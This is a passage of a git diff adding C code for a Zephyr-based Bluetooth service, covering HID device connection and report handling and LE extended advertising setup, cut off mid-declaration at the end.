sal_hid_connection_t* hid_connection_new(bt_address_t* addr, struct bt_conn* conn) +{ + sal_hid_connection_t* hid_conn; + + hid_conn = zalloc(sizeof(sal_hid_connection_t)); + if (!hid_conn) { + BT_LOGE("Failed to allocate memory for HID connection"); + return NULL; + } + + memcpy(&hid_conn->addr, addr, sizeof(bt_address_t)); + hid_conn->conn = conn; + bt_conn_ref(conn); + + return hid_conn; +} + +static void hid_connection_free(void* data) +{ + sal_hid_connection_t* hid_conn = (sal_hid_connection_t*)data; + + if (!data) { + return; + } + + if (hid_conn->conn) { + bt_conn_unref(hid_conn->conn); + hid_conn->conn = NULL; + } + + free(hid_conn); +} + +static struct bt_sdp_record* hid_sdp_create_record(const uint8_t* description, uint16_t length) +{ + size_t desc_len; + uint8_t* desc; + struct bt_sdp_record* record; + size_t attrs_count; + struct bt_sdp_attribute* attrs; + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + + if (!description) { + BT_LOGE("description is NULL"); + return NULL; + } + + desc_len = length - BT_HID_DEVICE_DESC_VALUE_INDEX; + if (desc_len < 1) { + BT_LOGE("Invalid description length: %zu", desc_len); + return NULL; + } + + if (hid_mgr->description) { + BT_LOGE("HID description already exists"); + return NULL; + } + + if (hid_mgr->record) { + BT_LOGE("HID SDP record already exists"); + return NULL; + } + + desc = zalloc(desc_len); + if (!desc) { + BT_LOGE("Failed to allocate memory for description"); + return NULL; + } + + memcpy(desc, description + BT_HID_DEVICE_DESC_VALUE_INDEX, desc_len); + + BT_DUMPBUFFER("HID Description", desc, desc_len); + + record = zalloc(sizeof(struct bt_sdp_record)); + if (!record) { + BT_LOGE("Failed to allocate memory for SDP record"); + free(desc); + return NULL; + } + + attrs = zalloc(sizeof(hid_attrs_template)); + if (!attrs) { + BT_LOGE("Failed to allocate memory for SDP attributes"); + free(desc); + free(record); + return NULL; + } + + attrs_count = ARRAY_SIZE(hid_attrs_template); + memcpy(attrs, hid_attrs_template, sizeof(hid_attrs_template)); + + for (int i = 0; i < attrs_count; i++) { + if (attrs[i].id == BT_SDP_ATTR_HID_DESCRIPTOR_LIST) { + struct bt_sdp_data_elem* element = (struct bt_sdp_data_elem*)&attrs[i].val; + + element[0].type = BT_SDP_SEQ16; + element[0].data_size = desc_len + 8; + element[0].total_size = BIT((BT_SDP_SEQ16 & BT_SDP_SIZE_DESC_MASK) - BT_SDP_SIZE_INDEX_OFFSET) + element[0].data_size + 1; + + element = (struct bt_sdp_data_elem*)element[0].data; + if (!element) { + BT_LOGE("HID Descriptor List element1 is NULL"); + goto fail; + } + + element[0].type = BT_SDP_SEQ16; + element[0].data_size = desc_len + 5; + element[0].total_size = BIT((BT_SDP_SEQ16 & BT_SDP_SIZE_DESC_MASK) - BT_SDP_SIZE_INDEX_OFFSET) + element[0].data_size + 1; + + element = (struct bt_sdp_data_elem*)element[0].data; + if (!element) { + BT_LOGE("HID Descriptor List element2 is NULL"); + goto fail; + } + + element[1].type = BT_SDP_TEXT_STR16; + element[1].data_size = desc_len; + element[1].total_size = BIT((BT_SDP_TEXT_STR16 & BT_SDP_SIZE_DESC_MASK) - BT_SDP_SIZE_INDEX_OFFSET) + element[1].data_size + 1; + element[1].data = desc; + + break; + } + } + + record->attr_count = attrs_count; + record->attrs = attrs; + + hid_mgr->record = record; + hid_mgr->description = desc; + + return record; + +fail: + free(attrs); + free(desc); + free(record); + return NULL; +} + +static void hid_sdp_delete_record(struct bt_sdp_record* record) +{ + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + + if ((!record) || (record != hid_mgr->record)) { + BT_LOGE("Invalid SDP record"); + return; + } + + if (record->attrs) { + free(record->attrs); + record->attrs = NULL; + } + + if (hid_mgr->description) { + free(hid_mgr->description); + hid_mgr->description = NULL; + } + + if (hid_mgr->record) { + free(hid_mgr->record); + hid_mgr->record = NULL; + } +} + +static void hid_accept_callback(struct bt_hid_device* hid) +{ + sal_hid_connection_t* hid_conn; + bt_address_t addr; + + if (!hid) { + BT_LOGE("hid not found"); + return; + } + + BT_LOGD("hid:%p accept", hid); + + bt_sal_get_remote_address(hid->conn, &addr); + hid_conn = hid_connection_new(&addr, hid->conn); + if (!hid_conn) { + BT_LOGE("Failed to create HID connection"); + return; + } + + hid_conn->hid_device = hid; + + hid_conn_lock(); + bt_list_add_tail(g_hid_device_mgr.connections, hid_conn); + hid_conn_unlock(); + + hid_device_on_connection_state_changed(&hid_conn->addr, false, PROFILE_STATE_CONNECTING); +} + +static void hid_connect_callback(struct bt_hid_device* hid) +{ + sal_hid_connection_t* hid_conn; + + BT_LOGD("hid:%p connected", hid); + + hid_conn_lock(); + hid_conn = hid_find_connections_by_device(hid); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("hid:%p not found", hid); + return; + } + + hid_conn_unlock(); + hid_device_on_connection_state_changed(&hid_conn->addr, false, PROFILE_STATE_CONNECTED); + + bt_sal_cm_profile_connected_callback(&hid_conn->addr, PROFILE_HID_DEV, CONN_ID_DEFAULT); + bt_sal_profile_disconnect_register(&hid_conn->addr, PROFILE_HID_DEV, CONN_ID_DEFAULT, PRIMARY_ADAPTER, hid_disconnect_handler, hid_conn); +} + +static void hid_disconnected_callback(struct bt_hid_device* hid) +{ + sal_hid_connection_t* hid_conn; + + BT_LOGD("hid:%p disconnected", hid); + + hid_conn_lock(); + hid_conn = hid_find_connections_by_device(hid); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("hid:%p not found", hid); + return; + } + + hid_device_on_connection_state_changed(&hid_conn->addr, false, PROFILE_STATE_DISCONNECTED); + bt_sal_cm_profile_disconnected_callback(&hid_conn->addr, PROFILE_HID_DEV, CONN_ID_DEFAULT); + bt_list_remove(g_hid_device_mgr.connections, hid_conn); + hid_conn_unlock(); +} + +void hid_set_report_callback(struct bt_hid_device* hid, const uint8_t* data, uint16_t len) +{ + sal_hid_connection_t* hid_conn; + + BT_LOGD("hid:%p set report cb, len:%d", hid, len); + + hid_conn_lock(); + hid_conn = hid_find_connections_by_device(hid); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("hid:%p not found", hid); + return; + } + + hid_conn_unlock(); + hid_device_on_set_report(&hid_conn->addr, data[0], len - 1, (uint8_t*)&data[1]); +} + +void hid_get_report_callback(struct bt_hid_device* hid, const uint8_t* data, uint16_t len) +{ + sal_hid_connection_t* hid_conn; + + BT_LOGD("hid:%p get report cb, len:%d", hid, len); + + hid_conn_lock(); + hid_conn = hid_find_connections_by_device(hid); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("hid:%p not found", hid); + return; + } + + hid_conn_unlock(); + hid_device_on_get_report(&hid_conn->addr, data[0], data[1], data[2]); +} + +void hid_set_protocol_callback(struct bt_hid_device* hid, uint8_t protocol) +{ + BT_LOGD("hid:%p set protocol:%d, ", hid, protocol); +} + +void hid_get_protocol_callback(struct bt_hid_device* hid) +{ + uint8_t protocol = BT_HID_PROTOCOL_REPORT_MODE; + + BT_LOGD("hid:%p get protocol", hid); + Z_API(bt_hid_device_send_ctrl_data) + (hid, BT_HID_REPORT_TYPE_OTHER, &protocol, sizeof(protocol)); +} + +void hid_intr_data_callback(struct bt_hid_device* hid, uint8_t* data, uint16_t len) +{ + sal_hid_connection_t* hid_conn; + + BT_LOGD("hid:%p intr data, len:%d", hid, len); + + hid_conn_lock(); + hid_conn = hid_find_connections_by_device(hid); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("hid:%p not found", hid); + return; + } + + hid_conn_unlock(); + hid_device_on_receive_report(&hid_conn->addr, data[0], len - 1, &data[1]); +} + +void hid_vc_unplug_callback(struct bt_hid_device* hid) +{ + sal_hid_connection_t* hid_conn; + BT_LOGD("hid:%p unplug", hid); + + hid_conn_lock(); + hid_conn = hid_find_connections_by_device(hid); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("hid:%p not found", hid); + return; + } + + hid_conn_unlock(); + hid_device_on_virtual_cable_unplug(&hid_conn->addr); +} + +static struct bt_hid_device_cb hid_callback = { + .accept = hid_accept_callback, + .connected = hid_connect_callback, + .disconnected = hid_disconnected_callback, + .set_report = hid_set_report_callback, + .get_report = hid_get_report_callback, + .set_protocol = hid_set_protocol_callback, + .get_protocol = hid_get_protocol_callback, + .intr_data = hid_intr_data_callback, + .vc_unplug = hid_vc_unplug_callback, +}; + +bt_status_t bt_sal_hid_device_init() +{ + int err; + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + + err = Z_API(bt_hid_device_register)(&hid_callback); + if (err != 0) { + BT_LOGE("HID register cb fail,err:%d", err); + return BT_STATUS_FAIL; + } + + hid_mgr->connections = bt_list_new(hid_connection_free); + if (!hid_mgr->connections) { + BT_LOGE("Failed to create HID connections list"); + return BT_STATUS_NO_RESOURCES; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hid_device_register_app(hid_device_sdp_settings_t* sdp, bool le_hid) +{ + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + int err; + struct bt_sdp_record* record; + + if (hid_mgr->registered) { + BT_LOGE("HID already registered"); + return BT_STATUS_FAIL; + } + + record = hid_sdp_create_record(sdp->hids_info.dsc_list, sdp->hids_info.dsc_list_length); + if (!record) { + BT_LOGE("Failed to create HID SDP record"); + return BT_STATUS_FAIL; + } + + err = bt_sdp_register_service(record); + if (err != 0) { + BT_LOGE("HID SDP record register fail"); + hid_sdp_delete_record(record); + return BT_STATUS_FAIL; + } + + hid_mgr->registered = true; + + hid_device_on_app_state_changed(HID_APP_STATE_REGISTERED); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hid_device_unregister_app(void) +{ + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + + if (!hid_mgr->registered) { + BT_LOGE("HID not registered"); + return BT_STATUS_FAIL; + } + + if (hid_mgr->record) { + bt_sdp_unregister_service(hid_mgr->record); + hid_sdp_delete_record(hid_mgr->record); + } + + hid_mgr->registered = false; + hid_device_on_app_state_changed(HID_APP_STATE_NOT_REGISTERED); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t hid_connect_handler(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + struct bt_conn* conn; + sal_hid_connection_t* hid_conn; + struct bt_hid_device* hid_device; + bt_status_t status; + + hid_device_on_connection_state_changed(addr, false, PROFILE_STATE_CONNECTING); + + conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + if (!conn) { + status = BT_STATUS_FAIL; + goto out; + } + + hid_conn = hid_connection_new(addr, conn); + bt_conn_unref(conn); + + if (!hid_conn) { + BT_LOGE("Failed to allocate memory for HID connection"); + status = BT_STATUS_NOMEM; + goto out; + } + + BT_LOGD("HID device Connecting, addr:%s", bt_addr_bastr(addr)); + hid_device = Z_API(bt_hid_device_connect)(hid_conn->conn); + if (!hid_device) { + BT_LOGE("Failed to connect HID device"); + status = BT_STATUS_FAIL; + goto out_con; + } + + hid_conn->hid_device = hid_device; + + hid_conn_lock(); + bt_list_add_tail(hid_mgr->connections, hid_conn); + hid_conn_unlock(); + + return BT_STATUS_SUCCESS; + +out_con: + hid_connection_free(hid_conn); + +out: + hid_device_on_connection_state_changed(addr, false, PROFILE_STATE_DISCONNECTED); + bt_sal_cm_profile_disconnected_callback(addr, PROFILE_HID_DEV, CONN_ID_DEFAULT); + return status; +} + +bt_status_t bt_sal_hid_device_connect(bt_address_t* addr) +{ + sal_hid_connection_t* hid_conn; + bt_status_t status; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s, addr:%s", __func__, addr_str); + + hid_conn_lock(); + hid_conn = hid_find_connection_by_address(addr); + if (hid_conn) { + hid_conn_unlock(); + BT_LOGE("HID connection already exists for addr: %s", addr_str); + return BT_STATUS_FAIL; + } + + hid_conn_unlock(); + + status = bt_sal_profile_connect_request(addr, PROFILE_HID_DEV, CONN_ID_DEFAULT, PRIMARY_ADAPTER, hid_connect_handler, NULL); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Failed to connect HID profile: %d", status); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t hid_disconnect_handler(bt_controller_id_t id, bt_address_t* bd_addr, void* user_data) +{ + sal_hid_connection_t* hid_conn; + int ret; + + hid_conn = hid_find_connection_by_address(bd_addr); + if (!hid_conn) { + BT_LOGE("No HID connection found for addr"); + return BT_STATUS_FAIL; + } + + BT_LOGD("HID disconnect handler, addr:%s", bt_addr_bastr(bd_addr)); + + ret = Z_API(bt_hid_device_disconnect)(hid_conn->hid_device); + if (ret < 0) { + BT_LOGE("Failed to disconnect HID device: %d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hid_device_disconnect(bt_address_t* addr) +{ + sal_hid_connection_t* hid_conn; + + hid_conn_lock(); + hid_conn = hid_find_connection_by_address(addr); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("No HID connection found for addr"); + return BT_STATUS_PARM_INVALID; + } + + hid_conn_unlock(); + + return bt_sal_profile_disconnect_request(&hid_conn->addr, PROFILE_HID_DEV, CONN_ID_DEFAULT, PRIMARY_ADAPTER, hid_disconnect_handler, NULL); +} + +void bt_sal_hid_device_cleanup() +{ + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + bt_list_node_t* node; + + hid_conn_lock(); + for (node = bt_list_head(hid_mgr->connections); node != NULL; node = bt_list_next(hid_mgr->connections, node)) { + sal_hid_connection_t* hid_conn = (sal_hid_connection_t*)bt_list_node(node); + + hid_conn_unlock(); + bt_sal_hid_device_disconnect(&hid_conn->addr); + hid_conn_lock(); + } + + hid_conn_unlock(); + + bt_sal_hid_device_unregister_app(); + hid_sdp_delete_record(hid_mgr->record); + + hid_conn_lock(); + bt_list_free(hid_mgr->connections); + hid_mgr->connections = NULL; + hid_conn_unlock(); +} + +bt_status_t bt_sal_hid_device_get_report_response(bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size) +{ + sal_hid_connection_t* hid_conn; + int ret; + + hid_conn_lock(); + hid_conn = hid_find_connection_by_address(addr); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("No HID connection found for addr"); + return BT_STATUS_PARM_INVALID; + } + + hid_conn_unlock(); + + ret = Z_API(bt_hid_device_send_ctrl_data)(hid_conn->hid_device, rpt_type, rpt_data, rpt_size); + if (ret < 0) { + BT_LOGE("Failed to send report: %d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hid_device_report_error(bt_address_t* addr, hid_status_error_t error) +{ + sal_hid_connection_t* hid_conn; + int ret; + + hid_conn_lock(); + hid_conn = hid_find_connection_by_address(addr); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("No HID connection found for addr"); + return BT_STATUS_PARM_INVALID; + } + + hid_conn_unlock(); + + ret = Z_API(bt_hid_device_report_error)(hid_conn->hid_device, error); + if (ret < 0) { + BT_LOGE("Failed to send report: %d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hid_device_send_report(bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size) +{ + sal_hid_connection_t* hid_conn; + int ret; + + hid_conn_lock(); + hid_conn = hid_find_connection_by_address(addr); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("No HID connection found for addr"); + return BT_STATUS_PARM_INVALID; + } + + hid_conn_unlock(); + + ret = Z_API(bt_hid_device_send_intr_data)(hid_conn->hid_device, BT_HID_REPORT_TYPE_INPUT, rpt_data, rpt_size); + if (ret < 0) { + BT_LOGE("Failed to send report: %d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hid_device_virtual_unplug(bt_address_t* addr) +{ + sal_hid_connection_t* hid_conn; + int ret; + + hid_conn_lock(); + hid_conn = hid_find_connection_by_address(addr); + if (!hid_conn) { + hid_conn_unlock(); + BT_LOGE("No HID connection found for addr"); + return BT_STATUS_PARM_INVALID; + } + + hid_conn_unlock(); + + ret = Z_API(bt_hid_device_virtual_unplug)(hid_conn->hid_device); + if (ret < 0) { + BT_LOGE("Failed to send virtual unplug: %d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/stacks/zephyr/sal_le_advertise_interface.c b/service/stacks/zephyr/sal_le_advertise_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..9d4ba40331337e3b09f675625eb0f0c5ccea54d9 --- /dev/null +++ b/service/stacks/zephyr/sal_le_advertise_interface.c @@ -0,0 +1,478 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "adver" + +#include "include/sal_le_advertise_interface.h" + +#include "advertising.h" +#include "sal_interface.h" +#include "service_loop.h" +#include "utils/log.h" + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/conn.h> +#include <zephyr/bluetooth/hci.h> + +#ifndef CONFIG_BT_EXT_ADV_MAX_ADV_SET +#define CONFIG_BT_EXT_ADV_MAX_ADV_SET 3 +#endif + +#ifndef CONFIG_BT_EXT_ADV_MAX_ADV_SEGMENT +#define CONFIG_BT_EXT_ADV_MAX_ADV_SEGMENT 5 +#endif + +#ifdef CONFIG_BLUETOOTH_BLE_ADV +#define STACK_CALL(func) zblue_##func + +typedef void (*sal_func_t)(void* args); + +typedef union { + struct { + struct bt_le_adv_param param; + struct bt_le_ext_adv_start_param ext_param; + uint8_t* adv_data; + uint16_t adv_len; + uint8_t* scan_rsp_data; + uint16_t scan_rsp_len; + } start_adv; +} sal_adapter_args_t; + +typedef struct { + bt_controller_id_t id; + uint8_t adv_id; + sal_func_t func; + sal_adapter_args_t adpt; +} sal_adapter_req_t; + +struct bt_le_adv_set; + +static void ext_adv_sent(struct bt_le_ext_adv* adv, struct bt_le_ext_adv_sent_info* info); +static void ext_adv_connected(struct bt_le_ext_adv* adv, struct bt_le_ext_adv_connected_info* info); +static bt_status_t zblue_le_ext_delete(struct bt_le_adv_set* adv); + +struct bt_le_adv_set { + struct bt_le_ext_adv* adv; + uint8_t adv_id; +}; + +static struct bt_le_adv_set* g_adv_sets[CONFIG_BT_EXT_ADV_MAX_ADV_SET]; +static struct bt_le_ext_adv_cb g_adv_cb = { + .sent = ext_adv_sent, + .connected = ext_adv_connected, +}; + +static void ext_adv_terminated_cb(struct bt_le_ext_adv* adv) +{ + int index; + + BT_LOGD("%s ", __func__); + + index = bt_le_ext_adv_get_index(adv); + if (!g_adv_sets[index]) { + BT_LOGE("%s, adv set index:%d null", __func__, index); + return; + } + + advertising_on_state_changed(g_adv_sets[index]->adv_id, LE_ADVERTISING_STOPPED); + zblue_le_ext_delete(g_adv_sets[index]); +} + +static void ext_adv_sent(struct bt_le_ext_adv* adv, struct bt_le_ext_adv_sent_info* info) +{ + BT_LOGD("%s ", __func__); + + ext_adv_terminated_cb(adv); +} + +static void ext_adv_connected(struct bt_le_ext_adv* adv, struct bt_le_ext_adv_connected_info* info) +{ + BT_LOGD("%s ", __func__); + + ext_adv_terminated_cb(adv); +} + +static bt_status_t zblue_le_ext_convert_param(ble_adv_params_t* params, struct bt_le_adv_param* param) +{ + static bt_addr_le_t addr; + + switch (params->adv_type) { + case BT_LE_ADV_IND: + case BT_LE_EXT_ADV_IND: + param->options |= BT_LE_ADV_OPT_CONN; + param->options |= BT_LE_ADV_OPT_EXT_ADV; + param->options |= BT_LE_ADV_OPT_NO_2M; + break; + case BT_LE_ADV_SCAN_IND: + case BT_LE_EXT_ADV_SCAN_IND: + param->options |= BT_LE_ADV_OPT_SCANNABLE; + param->options |= BT_LE_ADV_OPT_EXT_ADV; + param->options |= BT_LE_ADV_OPT_NO_2M; + break; + case BT_LE_ADV_DIRECT_IND: + case BT_LE_EXT_ADV_DIRECT_IND: + param->options |= BT_LE_ADV_OPT_CONN; + param->options |= BT_LE_ADV_OPT_EXT_ADV; + param->options |= BT_LE_ADV_OPT_NO_2M; + param->options |= BT_LE_ADV_OPT_DIR_MODE_LOW_DUTY; + break; + case BT_LE_SCAN_RSP: + case BT_LE_EXT_SCAN_RSP: + case BT_LE_ADV_NONCONN_IND: + case BT_LE_EXT_ADV_NONCONN_IND: + param->options |= BT_LE_ADV_OPT_EXT_ADV; + param->options |= BT_LE_ADV_OPT_NO_2M; + break; + case BT_LE_LEGACY_ADV_IND: + param->options |= BT_LE_ADV_OPT_CONN; + param->options |= BT_LE_ADV_OPT_SCANNABLE; + break; + case BT_LE_LEGACY_ADV_DIRECT_IND: + param->options |= BT_LE_ADV_OPT_CONN; + break; + case BT_LE_LEGACY_ADV_SCAN_IND: + param->options |= BT_LE_ADV_OPT_SCANNABLE; + break; + case BT_LE_LEGACY_ADV_NONCONN_IND: + case BT_LE_LEGACY_SCAN_RSP: + break; + default: + BT_LOGE("%s, le ext adv convert fail, invalid adv_type:%d", __func__, params->adv_type); + return BT_STATUS_PARM_INVALID; + } + + switch (params->own_addr_type) { + case BT_LE_ADDR_TYPE_PUBLIC: + param->options |= BT_LE_ADV_OPT_USE_IDENTITY; + break; + } + + switch (params->channel_map) { + case BT_LE_ADV_CHANNEL_37_ONLY: + param->options |= BT_LE_ADV_OPT_DISABLE_CHAN_38 | BT_LE_ADV_OPT_DISABLE_CHAN_39; + break; + case BT_LE_ADV_CHANNEL_38_ONLY: + param->options |= BT_LE_ADV_OPT_DISABLE_CHAN_37 | BT_LE_ADV_OPT_DISABLE_CHAN_39; + break; + case BT_LE_ADV_CHANNEL_39_ONLY: + param->options |= BT_LE_ADV_OPT_DISABLE_CHAN_37 | BT_LE_ADV_OPT_DISABLE_CHAN_38; + break; + case BT_LE_ADV_CHANNEL_DEFAULT: + break; + default: + BT_LOGE("%s, le ext adv convert fail, invalid channel_map:%d", __func__, params->channel_map); + return BT_STATUS_PARM_INVALID; + } + + param->interval_min = params->interval; + param->interval_max = params->interval; + + if (params->adv_type == BT_LE_ADV_DIRECT_IND + || params->adv_type == BT_LE_EXT_ADV_DIRECT_IND + || params->adv_type == BT_LE_LEGACY_ADV_DIRECT_IND) { + addr.type = params->peer_addr_type; + memcpy(&addr.a, ¶ms->peer_addr, sizeof(bt_address_t)); + param->peer = &addr; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t zblue_le_ext_create(struct bt_le_adv_param* param, struct bt_le_ext_adv** adv, uint8_t adv_id) +{ + int ret; + uint8_t index; + struct bt_le_adv_set* adv_set; + + ret = bt_le_ext_adv_create(param, &g_adv_cb, adv); + if (ret) { + BT_LOGE("%s, le ext adv create fail, err:%d", __func__, ret); + return BT_STATUS_FAIL; + } + + index = bt_le_ext_adv_get_index(*adv); + adv_set = malloc(sizeof(*adv_set)); + if (!adv_set) { + BT_LOGE("%s, malloc fail", __func__); + bt_le_ext_adv_delete(*adv); + return BT_STATUS_NOMEM; + } + + adv_set->adv = *adv; + adv_set->adv_id = adv_id; + g_adv_sets[index] = adv_set; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t zblue_le_ext_delete(struct bt_le_adv_set* adv_set) +{ + int ret; + uint8_t index; + + if (!adv_set) { + BT_LOGE("%s, adv set null", __func__); + return BT_STATUS_PARM_INVALID; + } + + ret = bt_le_ext_adv_delete(adv_set->adv); + if (ret) { + BT_LOGE("%s, le ext adv delet fail, err:%d", __func__, ret); + return BT_STATUS_FAIL; + } + + index = bt_le_ext_adv_get_index(adv_set->adv); + free(adv_set); + g_adv_sets[index] = NULL; + + return BT_STATUS_SUCCESS; +} + +static struct bt_le_adv_set* zblue_le_ext_find_adv(uint8_t adv_id) +{ + size_t index; + + for (index = 0; index < ARRAY_SIZE(g_adv_sets); index++) { + if (!g_adv_sets[index]) { + continue; + } + + if (g_adv_sets[index]->adv_id == adv_id) { + return g_adv_sets[index]; + } + } + + return NULL; +} + +static bt_status_t zblue_le_ext_adv_set_data(struct bt_le_ext_adv* adv, uint8_t* adv_data, uint16_t adv_len, uint8_t* scan_rsp_data, uint16_t scan_rsp_len) +{ + size_t index; + struct bt_data ad[CONFIG_BT_EXT_ADV_MAX_ADV_SEGMENT] = { 0 }; + struct bt_data sd[CONFIG_BT_EXT_ADV_MAX_ADV_SEGMENT] = { 0 }; + size_t ad_size = 0; + size_t sd_size = 0; + int ret; + + for (index = 0; index < adv_len;) { + ad[ad_size].data_len = adv_data[index] - 1; + ad[ad_size].type = adv_data[index + 1]; + ad[ad_size].data = &adv_data[index + 2]; + index += ad[ad_size].data_len + 2; + ad_size++; + } + + for (index = 0; index < scan_rsp_len;) { + sd[sd_size].data_len = scan_rsp_data[index] - 1; + sd[sd_size].type = scan_rsp_data[index + 1]; + sd[sd_size].data = &scan_rsp_data[index + 2]; + index += sd[sd_size].data_len + 2; + sd_size++; + } + + ret = bt_le_ext_adv_set_data(adv, ad_size > 0 ? ad : NULL, ad_size, + sd_size > 0 ? sd : NULL, sd_size); + if (ret) { + BT_LOGE("%s, le ext adv set data fail, err:%d", __func__, ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static sal_adapter_req_t* sal_adapter_req(bt_controller_id_t id, uint8_t adv_id, sal_func_t func) +{ + sal_adapter_req_t* req = calloc(sizeof(sal_adapter_req_t), 1); + + if (req) { + req->id = id; + req->adv_id = adv_id; + req->func = func; + } + + return req; +} + +static void sal_invoke_async(service_work_t* work, void* userdata) +{ + sal_adapter_req_t* req = userdata; + + SAL_ASSERT(req); + req->func(req); + free(userdata); +} + +static bt_status_t sal_send_req(sal_adapter_req_t* req) +{ + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!service_loop_work((void*)req, sal_invoke_async, NULL)) { + BT_LOGE("%s, service_loop_work failed", __func__); + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void STACK_CALL(start_adv)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_le_ext_adv* adv; + int ret; + + ret = zblue_le_ext_create(&req->adpt.start_adv.param, &adv, req->adv_id); + if (ret) { + BT_LOGE("%s, zblue le ext adv create fail, err:%d", __func__, ret); + ret = BT_STATUS_FAIL; + goto done; + } + + ret = zblue_le_ext_adv_set_data(adv, req->adpt.start_adv.adv_data, req->adpt.start_adv.adv_len, + req->adpt.start_adv.scan_rsp_data, req->adpt.start_adv.scan_rsp_len); + if (ret) { + BT_LOGE("%s, le ext adv set fail, err:%d", __func__, ret); + ret = BT_STATUS_FAIL; + goto done; + } + + ret = bt_le_ext_adv_start(adv, &req->adpt.start_adv.ext_param); + if (ret) { + BT_LOGE("%s, le ext adv start fail, err:%d", __func__, ret); + ret = BT_STATUS_FAIL; + goto done; + } + + advertising_on_state_changed(req->adv_id, LE_ADVERTISING_STARTED); + ret = BT_STATUS_SUCCESS; + +done: + if (req->adpt.start_adv.adv_data) + free(req->adpt.start_adv.adv_data); + if (req->adpt.start_adv.scan_rsp_data) + free(req->adpt.start_adv.scan_rsp_data); +} + +bt_status_t bt_sal_le_start_adv(bt_controller_id_t id, uint8_t adv_id, ble_adv_params_t* params, uint8_t* adv_data, uint16_t adv_len, uint8_t* scan_rsp_data, uint16_t scan_rsp_len) +{ + sal_adapter_req_t* req; + int ret; + bool ext_adv; + + req = sal_adapter_req(id, adv_id, STACK_CALL(start_adv)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + ret = zblue_le_ext_convert_param(params, &req->adpt.start_adv.param); + if (ret) { + BT_LOGE("%s, le ext adv convert fail, err:%d", __func__, ret); + ret = BT_STATUS_PARM_INVALID; + goto error; + } + + ext_adv = (req->adpt.start_adv.param.options & BT_LE_ADV_OPT_EXT_ADV) ? true : false; + + if ((!(req->adpt.start_adv.param.options & BT_LE_ADV_OPT_SCANNABLE) && ext_adv) + || !ext_adv) { + req->adpt.start_adv.adv_data = malloc(adv_len); + if (!req->adpt.start_adv.adv_data) { + BT_LOGE("%s, malloc fail", __func__); + ret = BT_STATUS_NOMEM; + goto error; + } + + memcpy(req->adpt.start_adv.adv_data, adv_data, adv_len); + req->adpt.start_adv.adv_len = adv_len; + } else { + req->adpt.start_adv.adv_data = NULL; + req->adpt.start_adv.adv_len = 0; + } + + if (((req->adpt.start_adv.param.options & BT_LE_ADV_OPT_SCANNABLE) && ext_adv) + || !ext_adv) { + req->adpt.start_adv.scan_rsp_data = malloc(scan_rsp_len); + if (!req->adpt.start_adv.scan_rsp_data) { + BT_LOGE("%s, malloc fail", __func__); + ret = BT_STATUS_NOMEM; + goto error; + } + + memcpy(req->adpt.start_adv.scan_rsp_data, scan_rsp_data, scan_rsp_len); + req->adpt.start_adv.scan_rsp_len = scan_rsp_len; + } else { + req->adpt.start_adv.scan_rsp_data = NULL; + req->adpt.start_adv.scan_rsp_len = 0; + } + + if (params->duration) { + req->adpt.start_adv.ext_param.timeout = params->duration; + } + + return sal_send_req(req); + +error: + if (req->adpt.start_adv.adv_data) + free(req->adpt.start_adv.adv_data); + if (req->adpt.start_adv.scan_rsp_data) + free(req->adpt.start_adv.scan_rsp_data); + free(req); + return ret; +}; + +static void 